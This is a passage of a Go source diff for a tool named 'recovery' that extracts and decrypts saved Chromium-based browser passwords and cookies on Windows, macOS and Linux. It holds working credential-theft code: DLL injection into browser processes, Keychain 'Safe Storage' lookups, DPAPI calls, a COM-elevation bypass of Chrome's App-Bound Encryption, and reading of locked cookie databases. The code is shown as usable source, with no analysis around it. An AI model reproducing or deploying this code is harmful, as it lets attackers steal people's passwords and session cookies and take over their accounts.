||||
return partial
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build !windows
|
||||
|
||||
package recovery
|
||||
|
||||
func platformSetupCollect() {}
|
||||
|
||||
func platformTeardownCollect() {}
|
||||
@@ -0,0 +1,41 @@
|
||||
//go:build windows
|
||||
|
||||
package recovery
|
||||
|
||||
import (
|
||||
"os"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/platform"
|
||||
)
|
||||
|
||||
func platformSetupCollect() {
|
||||
if os.Getenv("KEMATIAN_NO_INJECT") != "" {
|
||||
logf("injection disabled via KEMATIAN_NO_INJECT — direct file access only")
|
||||
return
|
||||
}
|
||||
|
||||
dllBytes := platform.GetEmbeddedDLL()
|
||||
if dllBytes != nil {
|
||||
for _, cfg := range browser.Browsers {
|
||||
logf("attempting DLL injection into %s", cfg.Name)
|
||||
session, err := platform.CreatePipeSession(dllBytes, cfg.Name)
|
||||
if err != nil {
|
||||
logf("inject %s failed: %v", cfg.Name, err)
|
||||
continue
|
||||
}
|
||||
_ = session
|
||||
logf("pipe session established with %s", cfg.Name)
|
||||
break
|
||||
}
|
||||
} else {
|
||||
logf("no embedded DLL — direct file access only")
|
||||
}
|
||||
}
|
||||
|
||||
func platformTeardownCollect() {
|
||||
if platform.ActivePipeSession != nil {
|
||||
platform.ActivePipeSession.Close()
|
||||
platform.ActivePipeSession = nil
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package crypto
|
||||
|
||||
import "strings"
|
||||
|
||||
func CleanPassword(data []byte) string {
|
||||
s := string(data)
|
||||
allPrint := true
|
||||
for _, c := range s {
|
||||
if c < 32 && c != '\t' && c != '\n' && c != '\r' {
|
||||
allPrint = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if allPrint {
|
||||
return strings.TrimSpace(s)
|
||||
}
|
||||
if len(data) > 32 {
|
||||
s2 := string(data[32:])
|
||||
allPrint2 := true
|
||||
for _, c := range s2 {
|
||||
if c < 32 && c != '\t' && c != '\n' && c != '\r' {
|
||||
allPrint2 = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if allPrint2 {
|
||||
return strings.TrimSpace(s2)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,163 @@
|
||||
//go:build darwin
|
||||
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/sha1"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/types"
|
||||
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
)
|
||||
|
||||
const (
|
||||
darwinChromeSalt = "saltysalt"
|
||||
darwinChromeIterations = 1003
|
||||
darwinChromeKeyLen = 16
|
||||
)
|
||||
|
||||
var chromeKeychainServices = map[string]string{
|
||||
"Chrome": "Chrome Safe Storage",
|
||||
"Chrome Beta": "Chrome Safe Storage",
|
||||
"Chrome Canary": "Chrome Safe Storage",
|
||||
"Chromium": "Chromium Safe Storage",
|
||||
"Edge": "Microsoft Edge Safe Storage",
|
||||
"Brave": "Brave Safe Storage",
|
||||
"Vivaldi": "Vivaldi Safe Storage",
|
||||
"Opera": "Opera Safe Storage",
|
||||
"Opera GX": "Opera Safe Storage",
|
||||
"Arc": "Arc Safe Storage",
|
||||
"Yandex": "Yandex Safe Storage",
|
||||
}
|
||||
|
||||
func getKeychainPassword(browserName string) (string, error) {
|
||||
service, ok := chromeKeychainServices[browserName]
|
||||
if !ok {
|
||||
service = browserName + " Safe Storage"
|
||||
}
|
||||
|
||||
cmd := exec.Command("security", "find-generic-password", "-wa", service)
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("keychain lookup failed for %s: %w", service, err)
|
||||
}
|
||||
return strings.TrimSpace(string(out)), nil
|
||||
}
|
||||
|
||||
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
|
||||
if cfg.IsFirefox {
|
||||
return &types.ResolvedKeys{}, nil
|
||||
}
|
||||
|
||||
localStatePath := browser.LocalStatePath(cfg)
|
||||
if _, err := os.Stat(localStatePath); err != nil {
|
||||
// fuck it we still trying
|
||||
return resolveKeyFromKeychain(cfg)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(localStatePath)
|
||||
if err != nil {
|
||||
return resolveKeyFromKeychain(cfg)
|
||||
}
|
||||
|
||||
var localState map[string]interface{}
|
||||
if err := json.Unmarshal(data, &localState); err != nil {
|
||||
return resolveKeyFromKeychain(cfg)
|
||||
}
|
||||
|
||||
return resolveKeyFromKeychain(cfg)
|
||||
}
|
||||
|
||||
func resolveKeyFromKeychain(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
|
||||
password, err := getKeychainPassword(cfg.Name)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("could not get keychain password for %s: %w", cfg.Name, err)
|
||||
}
|
||||
|
||||
key := pbkdf2.Key([]byte(password), []byte(darwinChromeSalt), darwinChromeIterations, darwinChromeKeyLen, sha1.New)
|
||||
return &types.ResolvedKeys{V10: key}, nil
|
||||
}
|
||||
|
||||
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
|
||||
if len(encrypted) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
if len(encrypted) < 3 {
|
||||
return ""
|
||||
}
|
||||
prefix := string(encrypted[:3])
|
||||
if prefix != "v10" && prefix != "v11" {
|
||||
return ""
|
||||
}
|
||||
|
||||
key := v10Key
|
||||
if key == nil || len(key) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
ciphertext := encrypted[3:]
|
||||
if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
plaintext, err := aesCBCDecrypt(key, ciphertext)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return CleanPassword(plaintext)
|
||||
}
|
||||
|
||||
func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
iv := make([]byte, aes.BlockSize)
|
||||
for i := range iv {
|
||||
iv[i] = 0x20
|
||||
}
|
||||
|
||||
if len(ciphertext) < aes.BlockSize {
|
||||
return nil, fmt.Errorf("ciphertext too short")
|
||||
}
|
||||
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
plaintext := make([]byte, len(ciphertext))
|
||||
mode.CryptBlocks(plaintext, ciphertext)
|
||||
|
||||
plaintext = pkcs5Unpad(plaintext)
|
||||
if plaintext == nil {
|
||||
return nil, fmt.Errorf("invalid padding")
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
func pkcs5Unpad(data []byte) []byte {
|
||||
if len(data) == 0 {
|
||||
return nil
|
||||
}
|
||||
padLen := int(data[len(data)-1])
|
||||
if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) {
|
||||
return nil
|
||||
}
|
||||
for i := len(data) - padLen; i < len(data); i++ {
|
||||
if data[i] != byte(padLen) {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return data[:len(data)-padLen]
|
||||
}
|
||||
|
||||
func CryptUnprotectData(in []byte) ([]byte, error) {
|
||||
return nil, fmt.Errorf("DPAPI not available on macOS")
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
//go:build linux
|
||||
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/sha1"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/types"
|
||||
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
)
|
||||
|
||||
const (
|
||||
linuxChromePassword = "peanuts"
|
||||
linuxChromeSalt = "saltysalt"
|
||||
linuxChromeIterations = 1
|
||||
linuxChromeKeyLen = 16
|
||||
)
|
||||
|
||||
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
|
||||
if cfg.IsFirefox {
|
||||
return &types.ResolvedKeys{}, nil
|
||||
}
|
||||
|
||||
localStatePath := browser.LocalStatePath(cfg)
|
||||
if _, err := os.Stat(localStatePath); err != nil {
|
||||
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
|
||||
return &types.ResolvedKeys{V10: key}, nil
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(localStatePath)
|
||||
if err != nil {
|
||||
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
|
||||
return &types.ResolvedKeys{V10: key}, nil
|
||||
}
|
||||
|
||||
var localState map[string]interface{}
|
||||
if err := json.Unmarshal(data, &localState); err != nil {
|
||||
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
|
||||
return &types.ResolvedKeys{V10: key}, nil
|
||||
}
|
||||
|
||||
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
|
||||
return &types.ResolvedKeys{V10: key}, nil
|
||||
}
|
||||
|
||||
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
|
||||
if len(encrypted) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
if len(encrypted) < 3 {
|
||||
return ""
|
||||
}
|
||||
prefix := string(encrypted[:3])
|
||||
if prefix != "v10" && prefix != "v11" {
|
||||
return ""
|
||||
}
|
||||
|
||||
key := v10Key
|
||||
if key == nil || len(key) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
ciphertext := encrypted[3:]
|
||||
if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
plaintext, err := aesCBCDecrypt(key, ciphertext)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return CleanPassword(plaintext)
|
||||
}
|
||||
|
||||
func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
iv := make([]byte, aes.BlockSize)
|
||||
for i := range iv {
|
||||
iv[i] = 0x20
|
||||
}
|
||||
|
||||
if len(ciphertext) < aes.BlockSize {
|
||||
return nil, fmt.Errorf("ciphertext too short")
|
||||
}
|
||||
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
plaintext := make([]byte, len(ciphertext))
|
||||
mode.CryptBlocks(plaintext, ciphertext)
|
||||
|
||||
// PKCS5/PKCS7 unpad
|
||||
plaintext = pkcs5Unpad(plaintext)
|
||||
if plaintext == nil {
|
||||
return nil, fmt.Errorf("invalid padding")
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
func pkcs5Unpad(data []byte) []byte {
|
||||
if len(data) == 0 {
|
||||
return nil
|
||||
}
|
||||
padLen := int(data[len(data)-1])
|
||||
if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) {
|
||||
return nil
|
||||
}
|
||||
for i := len(data) - padLen; i < len(data); i++ {
|
||||
if data[i] != byte(padLen) {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return data[:len(data)-padLen]
|
||||
}
|
||||
|
||||
func CryptUnprotectData(in []byte) ([]byte, error) {
|
||||
return nil, fmt.Errorf("DPAPI not available on Linux")
|
||||
}
|
||||
@@ -0,0 +1,372 @@
|
||||
//go:build windows
|
||||
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/platform"
|
||||
"recovery/recovery/types"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
modCrypt32 = windows.NewLazySystemDLL("crypt32.dll")
|
||||
procCryptUnprotectData = modCrypt32.NewProc("CryptUnprotectData")
|
||||
)
|
||||
|
||||
type dataBlob struct {
|
||||
cbData uint32
|
||||
pbData *byte
|
||||
}
|
||||
|
||||
func CryptUnprotectData(in []byte) ([]byte, error) {
|
||||
var inBlob, outBlob dataBlob
|
||||
inBlob.cbData = uint32(len(in))
|
||||
if len(in) > 0 {
|
||||
inBlob.pbData = &in[0]
|
||||
}
|
||||
|
||||
r, _, err := procCryptUnprotectData.Call(
|
||||
uintptr(unsafe.Pointer(&inBlob)),
|
||||
0, 0, 0, 0, 0,
|
||||
uintptr(unsafe.Pointer(&outBlob)),
|
||||
)
|
||||
if r == 0 {
|
||||
return nil, fmt.Errorf("CryptUnprotectData: %w", err)
|
||||
}
|
||||
defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData))))
|
||||
|
||||
out := make([]byte, outBlob.cbData)
|
||||
for i := range out {
|
||||
out[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(outBlob.pbData)) + uintptr(i)))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
var (
|
||||
clsidChromeElevator = windows.GUID{
|
||||
Data1: 0x708860E0, Data2: 0xF641, Data3: 0x4611,
|
||||
Data4: [8]byte{0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B},
|
||||
}
|
||||
iidChromeElevatorV2 = windows.GUID{
|
||||
Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
|
||||
Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
|
||||
}
|
||||
iidChromeElevatorV1 = windows.GUID{
|
||||
Data1: 0x463ABECF, Data2: 0x410D, Data3: 0x407F,
|
||||
Data4: [8]byte{0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8},
|
||||
}
|
||||
clsidEdgeElevator = windows.GUID{
|
||||
Data1: 0x1FCBE96C, Data2: 0x1697, Data3: 0x43AF,
|
||||
Data4: [8]byte{0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67},
|
||||
}
|
||||
iidEdgeElevator = windows.GUID{
|
||||
Data1: 0xC9C2B807, Data2: 0x7731, Data3: 0x4F34,
|
||||
Data4: [8]byte{0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B},
|
||||
}
|
||||
clsidBraveElevator = windows.GUID{
|
||||
Data1: 0x576B31AF, Data2: 0x6369, Data3: 0x4B6B,
|
||||
Data4: [8]byte{0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B},
|
||||
}
|
||||
iidBraveElevatorV2 = windows.GUID{
|
||||
Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
|
||||
Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
|
||||
}
|
||||
iidBraveElevatorV1 = windows.GUID{
|
||||
Data1: 0xF396861E, Data2: 0x0C8E, Data3: 0x4C71,
|
||||
Data4: [8]byte{0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9},
|
||||
}
|
||||
)
|
||||
|
||||
func safeV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) (key []byte, err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("COM panic: %v", r)
|
||||
}
|
||||
}()
|
||||
return tryV20KeyViaCOM(cfg, encBlob)
|
||||
}
|
||||
|
||||
func tryV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) ([]byte, error) {
|
||||
hr := coInitializeEx()
|
||||
if hr != 0 {
|
||||
return nil, fmt.Errorf("CoInitializeEx: 0x%08x", hr)
|
||||
}
|
||||
defer coUninitialize()
|
||||
|
||||
clsid := clsidChromeElevator
|
||||
iid := iidChromeElevatorV2
|
||||
if cfg.Name == "Edge" {
|
||||
clsid = clsidEdgeElevator
|
||||
iid = iidEdgeElevator
|
||||
} else if cfg.Name == "Brave" {
|
||||
clsid = clsidBraveElevator
|
||||
iid = iidBraveElevatorV2
|
||||
}
|
||||
|
||||
var unknown *IUnknown
|
||||
hr = coCreateInstance(&clsid, nil, 4, &iid, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
|
||||
if hr != 0 && cfg.Name == "Chrome" {
|
||||
hr = coCreateInstance(&clsid, nil, 4, &iidChromeElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
|
||||
}
|
||||
if hr != 0 && cfg.Name == "Brave" {
|
||||
hr = coCreateInstance(&clsid, nil, 4, &iidBraveElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
|
||||
}
|
||||
if hr != 0 {
|
||||
return nil, fmt.Errorf("CoCreateInstance: 0x%08x", hr)
|
||||
}
|
||||
defer unknown.Release()
|
||||
|
||||
hr = coSetProxyBlanket(unknown)
|
||||
if hr != 0 {
|
||||
logf("CoSetProxyBlanket warning: 0x%08x", hr)
|
||||
}
|
||||
|
||||
bstrCipher := sysAllocStringByteLen(encBlob)
|
||||
if bstrCipher == nil {
|
||||
return nil, fmt.Errorf("SysAllocStringByteLen failed")
|
||||
}
|
||||
defer sysFreeString(bstrCipher)
|
||||
|
||||
var bstrPlain *uint16
|
||||
var lastErr uint32
|
||||
hr = callDecryptData(unknown, bstrCipher, &bstrPlain, &lastErr)
|
||||
if hr != 0 || bstrPlain == nil {
|
||||
return nil, fmt.Errorf("DecryptData: 0x%08x (lastError=%d)", hr, lastErr)
|
||||
}
|
||||
defer sysFreeString(bstrPlain)
|
||||
|
||||
keyLen := sysStringByteLen(bstrPlain)
|
||||
if keyLen < 32 {
|
||||
return nil, fmt.Errorf("decrypted key too short: %d bytes", keyLen)
|
||||
}
|
||||
|
||||
result := make([]byte, 32)
|
||||
for i := 0; i < 32; i++ {
|
||||
result[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(bstrPlain)) + uintptr(i)))
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func coInitializeEx() uint32 {
|
||||
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoInitializeEx").Call(0, 2)
|
||||
return uint32(r)
|
||||
}
|
||||
|
||||
func coUninitialize() {
|
||||
windows.NewLazySystemDLL("ole32.dll").NewProc("CoUninitialize").Call()
|
||||
}
|
||||
|
||||
func coCreateInstance(clsid *windows.GUID, unknown *IUnknown, clsCtx uint32, iid *windows.GUID, ppv *unsafe.Pointer) uint32 {
|
||||
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoCreateInstance").Call(
|
||||
uintptr(unsafe.Pointer(clsid)),
|
||||
uintptr(unsafe.Pointer(unknown)),
|
||||
uintptr(clsCtx),
|
||||
uintptr(unsafe.Pointer(iid)),
|
||||
uintptr(unsafe.Pointer(ppv)),
|
||||
)
|
||||
return uint32(r)
|
||||
}
|
||||
|
||||
func coSetProxyBlanket(unknown *IUnknown) uint32 {
|
||||
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoSetProxyBlanket").Call(
|
||||
uintptr(unsafe.Pointer(unknown)),
|
||||
0xFFFFFFFF, 0xFFFFFFFF, 0,
|
||||
6, 4, 0, 0x400,
|
||||
)
|
||||
return uint32(r)
|
||||
}
|
||||
|
||||
func sysAllocStringByteLen(b []byte) *uint16 {
|
||||
if len(b) == 0 {
|
||||
return nil
|
||||
}
|
||||
r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysAllocStringByteLen").Call(
|
||||
uintptr(unsafe.Pointer(&b[0])),
|
||||
uintptr(len(b)),
|
||||
)
|
||||
return (*uint16)(unsafe.Pointer(r))
|
||||
}
|
||||
|
||||
func sysFreeString(s *uint16) {
|
||||
if s != nil {
|
||||
windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysFreeString").Call(uintptr(unsafe.Pointer(s)))
|
||||
}
|
||||
}
|
||||
|
||||
func sysStringByteLen(s *uint16) int {
|
||||
r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysStringByteLen").Call(uintptr(unsafe.Pointer(s)))
|
||||
return int(r)
|
||||
}
|
||||
|
||||
type IUnknown struct {
|
||||
vtbl *iUnknownVtbl
|
||||
}
|
||||
|
||||
type iUnknownVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
}
|
||||
|
||||
func (u *IUnknown) Release() {
|
||||
syscall.SyscallN(u.vtbl.Release, uintptr(unsafe.Pointer(u)))
|
||||
}
|
||||
|
||||
func callDecryptData(unknown *IUnknown, bstrCipher *uint16, pbstrPlain **uint16, pLastError *uint32) uint32 {
|
||||
type elevatorVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
RunRecoveryCRXElevated uintptr
|
||||
EncryptData uintptr
|
||||
DecryptData uintptr
|
||||
}
|
||||
vtbl := (*elevatorVtbl)(unsafe.Pointer(unknown.vtbl))
|
||||
r, _, _ := syscall.SyscallN(vtbl.DecryptData,
|
||||
uintptr(unsafe.Pointer(unknown)),
|
||||
uintptr(unsafe.Pointer(bstrCipher)),
|
||||
uintptr(unsafe.Pointer(pbstrPlain)),
|
||||
uintptr(unsafe.Pointer(pLastError)),
|
||||
)
|
||||
return uint32(r)
|
||||
}
|
||||
|
||||
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
|
||||
if cfg.IsFirefox {
|
||||
return &types.ResolvedKeys{}, nil
|
||||
}
|
||||
|
||||
keys := &types.ResolvedKeys{}
|
||||
localStatePath := browser.LocalStatePath(cfg)
|
||||
|
||||
data, err := os.ReadFile(localStatePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read Local State: %w", err)
|
||||
}
|
||||
|
||||
var localState map[string]interface{}
|
||||
if err := json.Unmarshal(data, &localState); err != nil {
|
||||
return nil, fmt.Errorf("parse Local State: %w", err)
|
||||
}
|
||||
|
||||
osCrypt, _ := localState["os_crypt"].(map[string]interface{})
|
||||
if osCrypt == nil {
|
||||
return nil, fmt.Errorf("no os_crypt section in Local State")
|
||||
}
|
||||
|
||||
if encKey, ok := osCrypt["encrypted_key"].(string); ok && encKey != "" {
|
||||
decoded, err := base64.StdEncoding.DecodeString(encKey)
|
||||
if err == nil && len(decoded) > 5 && string(decoded[:5]) == "DPAPI" {
|
||||
v10Key, err := CryptUnprotectData(decoded[5:])
|
||||
if err == nil {
|
||||
keys.V10 = v10Key
|
||||
logf("resolved V10 (DPAPI) key, %d bytes", len(v10Key))
|
||||
} else {
|
||||
logf("V10 DPAPI failed: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if appBoundKey, ok := osCrypt["app_bound_encrypted_key"].(string); ok && appBoundKey != "" {
|
||||
decoded, err := base64.StdEncoding.DecodeString(appBoundKey)
|
||||
if err == nil && len(decoded) > 4 {
|
||||
encBlob := decoded[4:]
|
||||
|
||||
var v20Key []byte
|
||||
if platform.ActivePipeSession == nil {
|
||||
err = fmt.Errorf("no active pipe session")
|
||||
} else {
|
||||
encB64 := base64.StdEncoding.EncodeToString(encBlob)
|
||||
v20Key, err = platform.ActivePipeSession.GetV20Key(cfg.Name, encB64)
|
||||
}
|
||||
if err != nil {
|
||||
if platform.ActivePipeSession == nil {
|
||||
if cfg.Name != "Chrome" {
|
||||
logf("V20 via pipe failed (%s): %v, falling back to direct COM", cfg.Name, err)
|
||||
v20Key, err = safeV20KeyViaCOM(cfg, encBlob)
|
||||
} else {
|
||||
logf("V20 via pipe failed (Chrome): %v — COM unsafe without browser session, skipping", err)
|
||||
err = fmt.Errorf("Chrome V20 requires browser session")
|
||||
}
|
||||
} else {
|
||||
logf("V20 via pipe failed (%s): %v, trying browser-specific injection", cfg.Name, err)
|
||||
v20Key, err = platform.TryV20KeyViaBrowserSession(cfg.ProcessName, cfg.Name, encBlob)
|
||||
if err != nil {
|
||||
logf("browser-specific injection for V20 also failed (%s): %v", cfg.Name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
if err == nil {
|
||||
keys.V20 = v20Key
|
||||
logf("resolved V20 (App-Bound) key for %s, %d bytes", cfg.Name, len(v20Key))
|
||||
} else {
|
||||
logf("V20 key unavailable for %s: %v", cfg.Name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if keys.V10 == nil && keys.V20 == nil {
|
||||
return nil, fmt.Errorf("could not resolve any master key")
|
||||
}
|
||||
|
||||
return keys, nil
|
||||
}
|
||||
|
||||
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
|
||||
if len(encrypted) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
var key []byte
|
||||
if len(encrypted) >= 3 {
|
||||
switch string(encrypted[:3]) {
|
||||
case "v10", "v11":
|
||||
key = v10Key
|
||||
case "v20":
|
||||
key = v20Key
|
||||
}
|
||||
}
|
||||
|
||||
if key == nil || len(key) == 0 {
|
||||
return ""
|
||||
}
|
||||
if len(encrypted) < 3+12+16 {
|
||||
return ""
|
||||
}
|
||||
|
||||
nonce := encrypted[3:15]
|
||||
tag := encrypted[len(encrypted)-16:]
|
||||
ciphertext := encrypted[15 : len(encrypted)-16]
|
||||
|
||||
plaintext, err := aesGCMDecrypt(key, nonce, ciphertext, tag)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return CleanPassword(plaintext)
|
||||
}
|
||||
|
||||
func aesGCMDecrypt(key, nonce, ciphertext, tag []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
aesGCM, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ctWithTag := make([]byte, len(ciphertext)+len(tag))
|
||||
copy(ctWithTag, ciphertext)
|
||||
copy(ctWithTag[len(ciphertext):], tag)
|
||||
return aesGCM.Open(nil, nonce, ctWithTag, nil)
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package crypto
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[crypto] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
)
|
||||
|
||||
func TestOpenDatabaseReadsLiveWAL(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
dbPath := filepath.Join(dir, "Cookies")
|
||||
|
||||
live, err := sql.Open("sqlite3", dbPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
live.SetMaxOpenConns(1)
|
||||
defer live.Close()
|
||||
if _, err := live.Exec("PRAGMA journal_mode=WAL"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := live.Exec("CREATE TABLE cookies (host_key TEXT, value TEXT)"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := live.Exec("INSERT INTO cookies VALUES ('example.com', 'secret')"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
d, err := OpenDatabase(dbPath, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("OpenDatabase: %v", err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
var n int
|
||||
if err := d.QueryRow("SELECT COUNT(*) FROM cookies").Scan(&n); err != nil {
|
||||
t.Fatalf("query: %v", err)
|
||||
}
|
||||
if n != 1 {
|
||||
t.Fatalf("expected 1 cookie row, got %d", n)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,122 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/platform"
|
||||
|
||||
sqlite3 "github.com/mattn/go-sqlite3"
|
||||
)
|
||||
|
||||
func OpenDatabase(dbPath string, pids []uint32) (*sql.DB, error) {
|
||||
cleanPath := dbPath
|
||||
if i := strings.IndexByte(dbPath, '?'); i >= 0 {
|
||||
cleanPath = dbPath[:i]
|
||||
}
|
||||
|
||||
hasWAL := false
|
||||
if wal, err := os.Stat(cleanPath + "-wal"); err == nil && wal.Size() > 0 {
|
||||
hasWAL = true
|
||||
}
|
||||
|
||||
if !hasWAL {
|
||||
uri := fmt.Sprintf("file:%s?mode=ro&nolock=1&immutable=1", dbPath)
|
||||
if db, err := sql.Open("sqlite3", uri); err == nil {
|
||||
if err := db.Ping(); err == nil {
|
||||
logf("opened %s via immutable snapshot", dbPath)
|
||||
return db, nil
|
||||
}
|
||||
db.Close()
|
||||
}
|
||||
}
|
||||
|
||||
if snapshot, cloneErr := cloneSnapshot(cleanPath, pids); cloneErr == nil {
|
||||
logf("opened %s via cloned snapshot (%d bytes)", dbPath, len(snapshot))
|
||||
return OpenDatabaseFromBytes(snapshot)
|
||||
} else {
|
||||
logf("clone failed for %s: %v; falling back to direct read", dbPath, cloneErr)
|
||||
}
|
||||
|
||||
data, err := platform.ReadLockedFile(cleanPath, pids)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("open %s: %w", dbPath, err)
|
||||
}
|
||||
